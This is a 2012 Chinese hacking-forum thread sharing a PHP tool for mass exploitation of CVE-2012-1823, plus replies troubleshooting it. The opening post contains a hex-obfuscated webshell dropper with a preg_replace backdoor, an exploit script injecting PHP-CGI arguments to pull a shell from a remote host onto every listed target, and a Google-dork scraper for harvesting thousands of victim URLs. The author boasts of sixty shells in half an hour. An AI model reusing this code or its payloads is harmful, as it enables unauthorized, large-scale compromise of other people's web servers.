# CVE-2012-1823 批量检测利用

**URL:** <https://forum.90sec.com/t/topic/3550>\
**Category:** 工具资源\
**Created:** [2012 年5 月 9 日 02:19 UTC](https://forum.90sec.com/t/topic/3550 "2012-05-09T02:19:48Z")\
**Posts on this page:** 20\
**Page:** 1

<div class="post-metadata">

作者： ![user14](https://forum.90sec.com/user_avatar/forum.90sec.com/user14/32/11344_2.png) [@user14](https://forum.90sec.com/u/user14)\
发布日期： [2012 年5 月 9 日 02:19 UTC](https://forum.90sec.com/t/topic/3550/1 "2012-05-09T02:19:48Z")

</div>

_本帖最后由 lostwolf 于 2012-5-9 10:28 编辑_

之所以没讲google 搜索 写在一起 是因为 google 容易封ip 而且方便用户添加url  
所以分开

利用google url 提取工具 或者c段扫描工具 获取url  
将url 保存在 该 脚本同级目录

该脚本需 curl库支持

同时 将url分割成若干个 txt 然后 开多个窗口执行 可提高效率

测试的时候 半个小时 60个 shell

- 远程shell 替换为自己的shell (生成一句话shell 或远程下载shell) 否则不能用

提供一个shell

生成 google.php 密码 0xff

```php
<?php fputs (fopen(pack("H*","676f6f676c652e706870"),"w"),pack("H*","3c3f706870206563686f20225f5f6e6f7466756e645f5f223b707265675f7265706c61636528222f746573742f65222c245f524551554553545b2730786666275d2c226a75747374207465737422293f3e"))?>

```

====================CVE-2012-1823 批量检测利用=======================

\<?php

//模拟一次URL读取并返回读取的数据

```php
function curls($url){
	$curl = curl_init();
	$option=array(
		CURLOPT_URL => $url,
        CURLOPT_HEADER => true,
		CURLOPT_RETURNTRANSFER => 1,
		CURLOPT_TIMEOUT => 8, //设置超时
	);
	curl_setopt_array($curl, $option);
	$data = curl_exec($curl);
	curl_close($curl);
	return $data;
}

```

//根据host获得数据  
function exploit($host){  
global $\_rshell;  
global $result;  
$host1=$host.'/'.$\_rshell;  
curls($host1);

```
$host2=$host."/google.php";
if(preg_match('/( __notfund__ )/i',curls($host2))){
   echo " [Good+] "."shell=&gt;" .$host2."\r\n";
   file_put_contents("$result","$host2\r\n",FILE_APPEND);
} else{
    echo " [Faild!] ".$host."\r\n"; 
}

```

}  
//展示标头

```php
function logo(){
	print_r('
		============================================
		# Title: CVE-2012-1823 PHP CGI GETSHELL #
		# poc: exploit-db.blogcn.com #
		# #
		============================================
	');
	echo "\r\n";
}

```

[exploit-db.blogcn.com](http://exploit-db.blogcn.com)  

//处理环境和标头  
error\_reporting(0);  
@ini\_set('memory\_limit','-1');  
set\_time\_limit(0);  
logo();

//定义控制变量  
define("URLS",'url.txt');  
define("result",'shells.txt');  
define("R\_SHELL",'?-dallow\_url\_include%3don+-dauto\_prepend\_file%3d[http://www.xxoo.com/ggsitemap.txt'](http://www.xxoo.com/ggsitemap.txt')); //远程shell修改为自己的 最好是生成一句话shell

//处理urls  
echo " URL list file [Enter for None]:";

```php
$urls=trim(fgets(STDIN));
if($urls==NULL){$urls=URLS;}
$_rshell=R_SHELL;

```

//执行结果  
echo " Result File [Enter for None]:";  
$result=trim(fgets(STDIN));  
if($result==NULL){$result=result;}  
echo "\r\n";

//尝试连接urls链接  
$urls=file($urls);  
array=preg\_replace('/(\s\*$)|(^\s\*^)/m','',$urls);  
foreach ($array as $key=\>$r){ $array[$key]=trim($r);}  
$array=array\_values(array\_unique($array));  
foreach($array as $v){  
exploit($v);

}

$result=dirname( **FILE** ).DIRECTORY\_SEPARATOR.$result;

echo "\r\nSCANING Complete !\r\n Result save to $result"

?\>

===================google 关键字url 提取==========================

#!/usr/bin/php

```php
<?php
set_time_limit(0);
error_reporting(E_ERROR);
define("_RESULT",'result.txt');
function geturl($keywords, $page, $num)
{    
        $page = ($page - 1) * 10;     
        $content = file_get_contents("http://www.google.com/search?sclient=psy-ab&hl=en&start=$page&source=hp&q=$keywords&pbx=1&oq=$keywords&num=$num&aq=f&aqi=g4");            
        $preg = '/<h3\s*class="r"\s*>.*/im';                     
        preg_match_all($preg, $content, $m);      
        preg_match_all('/<a(.*?)>(.*?)/', $m[0][0], $ms);
      
        $list = array();      
        foreach ($ms[1] as $link)
        {
                preg_match('/http:\/\/[a-zA-Z0-9._-]*/', $link, $matches);              
                if (!empty($matches[0]))
                {
                        $list[] = $matches[0];
                }
        }
        $list = array_unique($list);
        return $list;
}
 

  echo "Please Enter GoogleDork: \r\n";
$GOOGLEDORK = urlencode(fgets(STDIN));

echo "Result file [Enter for None]: \r\n";
$result = trim(fgets(STDIN));

if($result==NULL){$result=_RESULT;}

if(file_exists("$result")){
  @unlink("$result");
  echo "Clear Cache ...\r\n";
  }

$page = 20;
$num = 100;
for ($i=1;$i<=$page;$i++)
{      
        $url = geturl($GOOGLEDORK, $i, $num);
        print_r('[+] Page: '.$i.' Results Count: '.count($url)."\r\n");      
            foreach ($url as $u)
            {
               #print_r($u."\r\n");
              @$fp=@fopen('tmp','a');
              @fwrite($fp,$u."\r\n");
              @fclose($fp);
              
            }
} 
                $new_filename="$result";           
                $file=file('tmp');
                $array=preg_replace('/($\s*$)|(^\s*^)/m','',$file);
                foreach ($array as $key=>$r){
      
                     $array[$key]=trim("$r");
      
                    }
               $names=dirname( __FILE__ ).DIRECTORY_SEPARATOR.$new_filename;
               $new_array=array_values(array_unique($array));
              
        if(file_put_contents("$new_filename",join("\r\n",$new_array)))
           
                {
                    echo "Get Subdomain Success!\r\n\r\n";
                                        usleep(100000);
                                        echo "Save To:\r\n". $names."\r\n\r\n";
                                        
                                       
						if(file_exists('tmp'))
                        {
                            @unlink('tmp');
                            echo "Clear Cache ...\r\n\r\n";
                                                       
                         }
                    }else {
                                       echo "\r\n[!] Failed! Connect Google Error!\r\n ";
                                       echo "\r\n[-] Plase Proxy...\r\n";
                                      }
              
               
               exit;
?>

```

---

<div class="post-metadata">

作者： ![user14](https://forum.90sec.com/user_avatar/forum.90sec.com/user14/32/11344_2.png) [@user14](https://forum.90sec.com/u/user14)\
发布日期： [2012 年5 月 9 日 02:21 UTC](https://forum.90sec.com/t/topic/3550/2 "2012-05-09T02:21:03Z")

</div>

_本帖最后由 lostwolf 于 2012-5-9 10:22 编辑_

为了搜索个东西  
发现没有了金币...  
金币都用来搜索 花光了

求币币

顺便求 落叶发的udf 源码  
翻阅半天没找到

---

<div class="post-metadata">

作者： ![user62](https://forum.90sec.com/user_avatar/forum.90sec.com/user62/32/11435_2.png) [@user62](https://forum.90sec.com/u/user62)\
发布日期： [2012 年5 月 9 日 05:38 UTC](https://forum.90sec.com/t/topic/3550/3 "2012-05-09T05:38:04Z")

</div>

打包传一下啊 楼上的

---

<div class="post-metadata">

作者： ![GT4](https://forum.90sec.com/letter_avatar_proxy/v4/letter/g/c68b51/32.png) [@GT4](https://forum.90sec.com/u/GT4)\
发布日期： [2012 年5 月 9 日 07:58 UTC](https://forum.90sec.com/t/topic/3550/4 "2012-05-09T07:58:09Z")

</div>

_本帖最后由 伯爵 于 2012-5-10 00:19 编辑_

支持下 ~~~~~~~~~~~~~~~~ 这样就可以了吧{:4\_41:}

---

<div class="post-metadata">

作者： ![user14](https://forum.90sec.com/user_avatar/forum.90sec.com/user14/32/11344_2.png) [@user14](https://forum.90sec.com/u/user14)\
发布日期： [2012 年5 月 9 日 09:04 UTC](https://forum.90sec.com/t/topic/3550/5 "2012-05-09T09:04:43Z")

</div>

\*\*回复 [4#](http://www.90sec.org/redirect.php?goto=findpost&pid=25714&ptid=2291) _伯爵_ \*\*

灌水??

---

<div class="post-metadata">

作者： ![54966850](https://forum.90sec.com/letter_avatar_proxy/v4/letter/5/ed8c4c/32.png) [@54966850](https://forum.90sec.com/u/54966850)\
发布日期： [2012 年5 月 9 日 09:42 UTC](https://forum.90sec.com/t/topic/3550/6 "2012-05-09T09:42:02Z")

</div>

\*\*回复 [5#](http://www.90sec.org/redirect.php?goto=findpost&pid=25728&ptid=2291) _lostwolf_ \*\*

```
赞个，{:4_45:}

```

---

<div class="post-metadata">

作者： ![0xsec](https://forum.90sec.com/letter_avatar_proxy/v4/letter/0/94ad74/32.png) [@0xsec](https://forum.90sec.com/u/0xsec)\
发布日期： [2012 年5 月 9 日 09:47 UTC](https://forum.90sec.com/t/topic/3550/7 "2012-05-09T09:47:44Z")

</div>

_本帖最后由 匿名用户 于 2012-5-9 17:52 编辑_

Parse error: syntax error, unexpected '['  
1.0\2.php on line 54  
楼主 一直提示这个错误 远程地址已经改成自己的txt地址了

---

<div class="post-metadata">

作者： ![SUNRISE](https://forum.90sec.com/user_avatar/forum.90sec.com/sunrise/32/11448_2.png) [@SUNRISE](https://forum.90sec.com/u/SUNRISE)\
发布日期： [2012 年5 月 9 日 11:31 UTC](https://forum.90sec.com/t/topic/3550/8 "2012-05-09T11:31:35Z")

</div>

_本帖最后由 SUNRISE 于 2012-5-9 19:33 编辑_

\*\*回复 [7#](http://www.90sec.org/redirect.php?goto=findpost&pid=25737&ptid=2291) _匿名用户_ \*\*define("R\_SHELL",'?-dallow\_url\_include%3don+-dauto\_prepend\_file%3d[http://www.xxoo.com/ggsitemap.txt'](http://www.xxoo.com/ggsitemap.txt')); 代码被论坛的标签修改了。  
去掉和

---

<div class="post-metadata">

作者： ![0xsec](https://forum.90sec.com/letter_avatar_proxy/v4/letter/0/94ad74/32.png) [@0xsec](https://forum.90sec.com/u/0xsec)\
发布日期： [2012 年5 月 9 日 13:55 UTC](https://forum.90sec.com/t/topic/3550/9 "2012-05-09T13:55:38Z")

</div>

谢了楼上 的 呵呵不过还是用不起来 执行貌似没问题了 载入url和 保存地址写了没反应

---

<div class="post-metadata">

作者： ![user14](https://forum.90sec.com/user_avatar/forum.90sec.com/user14/32/11344_2.png) [@user14](https://forum.90sec.com/u/user14)\
发布日期： [2012 年5 月 9 日 14:17 UTC](https://forum.90sec.com/t/topic/3550/10 "2012-05-09T14:17:40Z")

</div>

\*\*回复 [9#](http://www.90sec.org/redirect.php?goto=findpost&pid=25777&ptid=2291) _匿名用户_ \*\*

你加载了多少个url ？？  
加载 几个 十几个url 是肯定不行的

我测试的时候 加载 3000个url

---

<div class="post-metadata">

作者： ![Yaseng](https://forum.90sec.com/user_avatar/forum.90sec.com/yaseng/32/11405_2.png) [@Yaseng](https://forum.90sec.com/u/Yaseng)\
发布日期： [2012 年5 月 9 日 14:33 UTC](https://forum.90sec.com/t/topic/3550/11 "2012-05-09T14:33:25Z")

</div>

\*\*回复 [1#](http://www.90sec.org/redirect.php?goto=findpost&pid=25675&ptid=2291) _lostwolf_ \*\*

google 关键字url 提取

这个脚本 老衲正需要 太感谢了

---

<div class="post-metadata">

作者： ![SUNRISE](https://forum.90sec.com/user_avatar/forum.90sec.com/sunrise/32/11448_2.png) [@SUNRISE](https://forum.90sec.com/u/SUNRISE)\
发布日期： [2012 年5 月 9 日 14:47 UTC](https://forum.90sec.com/t/topic/3550/12 "2012-05-09T14:47:19Z")

</div>

\*\*回复 [9#](http://www.90sec.org/redirect.php?goto=findpost&pid=25777&ptid=2291) _匿名用户_ \*\*

```
你看下10L怎么说的，我测试的时候只有2个URL，失败了。

```

---

<div class="post-metadata">

作者： ![0xsec](https://forum.90sec.com/letter_avatar_proxy/v4/letter/0/94ad74/32.png) [@0xsec](https://forum.90sec.com/u/0xsec)\
发布日期： [2012 年5 月 9 日 15:05 UTC](https://forum.90sec.com/t/topic/3550/13 "2012-05-09T15:05:37Z")

</div>

奥楼主呵呵 我就测试了 几百个 不过郁闷的情况 是[2.jpg](https://forum.90sec.com/discuz-migration/attachments/f297d38e1659e841b9841b93c2a04be180351f680b66088cff66df1cc22c1996) 就这个其他什么提示都没有

url.txt里面都是[http://www.xxxoo.com/](http://www.xxxoo.com/)这种格式的  
是不是要[http://www.xxxooo.com/index.php](http://www.xxxooo.com/index.php)

---

<div class="post-metadata">

作者： ![user14](https://forum.90sec.com/user_avatar/forum.90sec.com/user14/32/11344_2.png) [@user14](https://forum.90sec.com/u/user14)\
发布日期： [2012 年5 月 9 日 15:09 UTC](https://forum.90sec.com/t/topic/3550/14 "2012-05-09T15:09:10Z")

</div>

\*\*回复 [13#](http://www.90sec.org/redirect.php?goto=findpost&pid=25788&ptid=2291) _匿名用户_ \*\*

需要curl 库支持~~

---

<div class="post-metadata">

作者： ![SUNRISE](https://forum.90sec.com/user_avatar/forum.90sec.com/sunrise/32/11448_2.png) [@SUNRISE](https://forum.90sec.com/u/SUNRISE)\
发布日期： [2012 年5 月 9 日 16:32 UTC](https://forum.90sec.com/t/topic/3550/15 "2012-05-09T16:32:20Z")

</div>

[呵呵呵呵.png](https://forum.90sec.com/discuz-migration/attachments/87238f9a8939d0affd9d2e77a912f69beb2166ff3af53699476b622ba3b35783)

额，哪个好心人给几个URL啊。。。。

---

<div class="post-metadata">

作者： ![user62](https://forum.90sec.com/user_avatar/forum.90sec.com/user62/32/11435_2.png) [@user62](https://forum.90sec.com/u/user62)\
发布日期： [2012 年5 月 9 日 18:08 UTC](https://forum.90sec.com/t/topic/3550/16 "2012-05-09T18:08:17Z")

</div>

{:4\_53:} 3000个 哪来的这么多URL

---

<div class="post-metadata">

作者： ![user14](https://forum.90sec.com/user_avatar/forum.90sec.com/user14/32/11344_2.png) [@user14](https://forum.90sec.com/u/user14)\
发布日期： [2012 年5 月 9 日 18:47 UTC](https://forum.90sec.com/t/topic/3550/17 "2012-05-09T18:47:38Z")

</div>

c 段获取 、google 获取  
很容易得到 几千几万 url的

---

<div class="post-metadata">

作者： ![debugz3r0](https://forum.90sec.com/letter_avatar_proxy/v4/letter/d/41988e/32.png) [@debugz3r0](https://forum.90sec.com/u/debugz3r0)\
发布日期： [2012 年5 月 10 日 02:34 UTC](https://forum.90sec.com/t/topic/3550/18 "2012-05-10T02:34:00Z")

</div>

表示测试无问题。。。。。

---

<div class="post-metadata">

作者： ![Joewm](https://forum.90sec.com/letter_avatar_proxy/v4/letter/j/b3f665/32.png) [@Joewm](https://forum.90sec.com/u/Joewm)\
发布日期： [2012 年5 月 10 日 07:04 UTC](https://forum.90sec.com/t/topic/3550/19 "2012-05-10T07:04:43Z")

</div>

测试通过木有问题!

---

<div class="post-metadata">

作者： ![cygmris](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/9d8465/32.png) [@cygmris](https://forum.90sec.com/u/cygmris)\
发布日期： [2012 年6 月 5 日 07:25 UTC](https://forum.90sec.com/t/topic/3550/20 "2012-06-05T07:25:24Z")

</div>

我这边有udf源码 之前记得论坛发过呀

[下一页](https://forum.90sec.com/t/topic/3550.md?page=2)
